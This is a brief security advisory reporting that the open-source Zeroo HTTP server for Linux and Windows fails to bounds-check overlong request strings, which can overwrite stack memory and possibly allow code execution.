Zeroo HTTP server is a freely available, open source web server. It is available for the Linux and Microsoft Windows platforms.
It has been reported that Zeroo HTTP server does not sufficiently check bounds on some requests. This occurs when a string of excessive length is received by the server. This can result in the overwriting of stack memory, and potential code execution.
